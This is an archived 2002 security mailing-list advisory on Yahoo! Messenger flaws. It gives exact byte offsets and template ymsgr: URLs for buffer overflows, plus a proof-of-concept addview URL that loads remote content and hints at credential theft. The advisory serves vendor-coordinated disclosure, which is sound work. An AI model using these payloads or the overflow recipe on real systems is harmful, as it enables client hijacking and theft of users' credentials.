

[NEWS] Yahoo Messenger – Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0119.html>

From: support@securiteam.com

Date: 05/27/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 27 May 2002 20:16:50 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

Yahoo Messenger – Multiple Vulnerabilities

SUMMARY

Security vulnerabilities in YIM have recently been found that can allow unauthorized execution of programs on a YIM user's PC via buffer overflows or Java or Visual Basic script execution added through YIM Content tabs.

The net impact is to allow a relatively simple opportunity to hijack users' YIM client outright, and use it to attack or intrude into YIM users supposedly private information systems.

DETAILS

Vulnerable systems:

* Yahoo! Messenger version 5.0.0.1061

Immune systems:

* Yahoo! Messenger version 5.0.0.1065

Buffer Overflows:

When Yahoo! Messenger (YIM) is installed, it registers its own handler for URLs of the type "ymsgr". For example, in the Win98 Registry, this handler is HKEY_LOCAL_MACHINE\Software\CLASSES\ymsgr\shell\open\command that has a value for "(Default)" of "< Hard-drive:\Directories\ >YPAGER.EXE %1".

Securiteam: [NEWS] Yahoo Messenger – Multiple Vulnerabilities

Thus when any URL beginning with "ymsgr:" [no slashes, no "/"] is input into a web browser supported by integrated with YIM, "ypager.exe %1" is executed on the complete URL.

With no proper bounds checking in the ymsgr protocol, attackers can overflow the YIM function calls "call", "sendim", "getimv", "chat", "addview", "addfriend" tags.

For example, loading URL "ymsgr:call?(84)+8-8344332&p=DaHØ" into a YIM-integrated browser will cause ypager.exe will be executed and it will then execute the YIM/Net2Phone "Call Centre" application and prepare it to dial the phone number and name in the URL.

If we input a string that has more than 260 bytes, we will crash YIM; 264 bytes will overwrite the EBP register; four (4) more bytes will overwrite the EIP register. In total, 268 bytes are needed to cause a buffer overflow.

For example, this URL

```
ymsgr:call?+< aaaaaaaaaaaaaaaaa... >
```

Would overwrite both the EBP (Extended Base Pointer) and EIP (Extended Instruction Pointer). The ellipsis, "...", represents an extension to 268 bytes, e.g. 0x61616161, of "a"s). From there, attackers could overwrite the EIP with any location in memory they choose, jump to their exploit code, and have the code run under the current user's normal privileges.

The following are susceptible to BOFs (Buffer Overflows) as well. However, this time we need to punch in another 100 bytes:

```
ymsgr:sendim?+< aaaaaaa..... 368 bytes here >  
ymsgr:chat?+< aaaaaaa..... 368 bytes here >  
ymsgr:addview?+< aaaaaaa..... 368 bytes here >  
ymsgr:addfriend?+< aaaaaaa..... 368 bytes here >
```

Yahoo! Instant Messenger (YIM) Hi-Jack (Java, Visual Basic script execution)

URLs beginning with "ymsgr:addview?" let users add browser-ready Yahoo! content to YIM's "Content Tabs" for viewing in YIM, without a web browser. YIM installs with default Tabs for Stocks, Weather, Calendar, News, etc.

The following URL is provided to demonstrate this vulnerability. To use it, you must have Yahoo! Messenger (YIM) installed and integrated with a compatible web browser.

```
ymsgr:addview?http://rd.yahoo.com/messenger/?http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.htm
```

This simple, completely harmless, sample exploit will start up YIM, if not already started, add a new "Content Tab" called "YIM Cal-Hack" to YIM's current set, then display a dialogue box with one option, "OK", then open the "YIM Cal-Hack" content, a quick, 9-click set of instructions to disable the exploit.

Securiteam: [NEWS] Yahoo Messenger – Multiple Vulnerabilities

To see the contents of DemH0.htm, simply remove the Yahoo! redirection parts of the exploit URL above or load this URL into any browser:

<<http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.htm>>
<http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.htm>

Note, however, that to completely remove the "YIM Cal-Hack" (before the user's next YIM upgrade a minor Windows registry edit is needed: simply exit YIM; "Find" the text string "YMSGR_test" or "YIM Cal-Hack", using Start-> Run->regedit->Edit->Find; then delete the YMSGR_test key; exit regedit; and restart YIM.

Note also that DemH0.htm is not a standard HTML file -- though it calls three other standard HTML files. Instead, DemH0.htm contains only YIM-specific tags. In fact, if you insert the normal HTML opening tags, "<html> <head> <script>...", the exploit will not work and YIM will simply respond with a dialogue box stating, "Error adding view... The view format is invalid." -- As demonstrated by this URL:

ymsgr:addview?<http://rd.yahoo.com/messenger/?http://viceconsulting.com/cons/servs/infosec/yimvul001/DemH0.not.I>

Threat significance

Yahoo! Instant Messenger (YIM) Hi-Jack (above) demonstrates how potential attackers could replace or even visually replicate almost any YIM content and insert scripts into their own HTML that could be used to do almost anything on a YIM user's machine. For example, it would not be too difficult to modify the demonstration exploit above to request a YIM user's ID and password and send it to any email address or Internet URL.

Minimum user intervention is required to exploit these vulnerabilities. Modifications of the ymsgr URLs provided above could readily be hidden in HTML pages or emails with text or images enticing YIM users to click on them. Further, scripts could be used to load such ymsgr-exploit URLs into pop-up browser windows with no direct user intervention.

Vendor status:

Yahoo! was informed of this vulnerability on 05/05/2002. In discussions with Yahoo Security the authors agreed to await Yahoo!'s release of a repaired version of Yahoo! Messenger (YIM). Yahoo! made the repaired version available for download and installation on 24/05/2002 at:

<http://download.yahoo.com/dl/installs/ymsgr/ymsgr_1065.exe>
http://download.yahoo.com/dl/installs/ymsgr/ymsgr_1065.exe.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:dphuong@yahoo.com>> Phuong Nguyen.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [NEWS] Yahoo Messenger – Multiple Vulnerabilities

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- ***Previous message:*** support@securiteam.com: "[NEWS] VP-ASP Multiple Security Vulnerabilities"
- ***Messages sorted by:*** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)